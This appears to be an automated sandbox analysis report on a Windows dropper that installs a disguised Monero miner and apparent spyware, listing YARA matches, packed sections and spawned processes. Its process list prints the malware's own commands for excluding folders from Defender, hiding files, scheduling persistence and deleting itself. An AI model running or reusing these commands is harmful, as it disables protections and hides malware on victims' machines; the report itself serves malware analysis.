Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00307049	0_2_00307049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003078BB	0_2_003078BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003031A8	0_2_003031A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002C4B30	0_2_002C4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00302D10	0_2_00302D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002C4DE0	0_2_002C4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F7F36	0_2_002F7F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0030779B	0_2_0030779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001B7049	2_2_001B7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001B8860	2_2_001B8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001B78BB	2_2_001B78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001B31A8	2_2_001B31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00174B30	2_2_00174B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001B2D10	2_2_001B2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00174DE0	2_2_00174DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001A7F36	2_2_001A7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001B779B	2_2_001B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0017E530	5_2_0017E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00196192	5_2_00196192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001B8860	5_2_001B8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00174B30	5_2_00174B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001B2D10	5_2_001B2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00174DE0	5_2_00174DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00190E13	5_2_00190E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001B7049	5_2_001B7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001B31A8	5_2_001B31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00191602	5_2_00191602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001B779B	5_2_001B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001B78BB	5_2_001B78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00193DF1	5_2_00193DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001A7F36	5_2_001A7F36
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04AEB490	8_2_04AEB490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04AEB470	8_2_04AEB470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04AE1D0D	8_2_04AE1D0D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_08B13E98	8_2_08B13E98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E2B4A0	11_2_04E2B4A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E2B490	11_2_04E2B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E21D18	11_2_04E21D18
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E35450	13_3_00E35450
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00DE92E1	13_3_00DE92E1
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Code function: 13_3_00E351D3	13_3_00E351D3

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 002D80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0018D64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00187A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0018D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0018D942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0018DF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001A8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001880C0 appears 263 times

Source: Setup.exe.43.dr

Static PE information: Number of sections : 11 > 10

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 44.2.Sibuia.exe.590000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_SilentInstallBuilder snort2_sid = 930070-930072, author = ditekSHen, description = Detects executables packed with Silent Install Builder, snort3_sid = 930025
Source: 44.0.Sibuia.exe.590000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_SilentInstallBuilder snort2_sid = 930070-930072, author = ditekSHen, description = Detects executables packed with Silent Install Builder, snort3_sid = 930025
Source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 49.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 49.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 38.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 38.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 37.3.Intel_PTT_EK_Recertification.exe.1d52ef30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 48.3.Intel_PTT_EK_Recertification.exe.206f2c30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000025.00000003.2984138582.000001D52EF30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000030.00000003.3184765854.00000206F2C30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe, type: DROPPED	Matched rule: INDICATOR_EXE_Packed_SilentInstallBuilder snort2_sid = 930070-930072, author = ditekSHen, description = Detects executables packed with Silent Install Builder, snort3_sid = 930025

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9975466195504087
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975466195504087
Source: ANEDNjf[1].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: ANEDNjf[1].exe.5.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: ANEDNjf.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: ANEDNjf.exe.5.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: random[1].exe0.5.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe0.5.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: d274ed0757.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: d274ed0757.exe.5.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: random[1].exe1.5.dr	Static PE information: Section: uqtrtfqz ZLIB complexity 0.9940626820565104
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9989023134689923
Source: 01b80870ed45442fb720b666633425f9.exe.6.dr	Static PE information: Section: .data ZLIB complexity 0.9971357714577657

Source: Ionic.Zip.dll.43.dr, WinZipAesCipherStream.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
Source: Ionic.Zip.dll.43.dr, WinZipAesCipherStream.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'

Source: kf5cl0F[1].exe.5.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: kf5cl0F[1].exe.5.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: kf5cl0F.exe.5.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: kf5cl0F.exe.5.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@85/70@5/9

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\kf5cl0F[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5028:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2836:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ANEDNjf.exe, 0000000D.00000003.2858739191.0000000005386000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2859504035.000000000536A000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937889846.0000000003AA6000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2966723360.0000000003A93000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2938567710.0000000003A8A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 47%

Source: ANEDNjf.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe "C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe"
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\gomtbo"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe "C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe"
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Process created: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe "C:\gomtbo\01b80870ed45442fb720b666633425f9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe "C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe"
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe "C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe"
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Process created: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe TRUE 111 0
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Process created: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe "C:\Users\user\AppData\Local\Temp\FutureApp\sibjs.exe" TRUE 000 False cond_pkg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe "C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe "C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe "C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe "C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe "C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe "C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe"	Jump to behavior
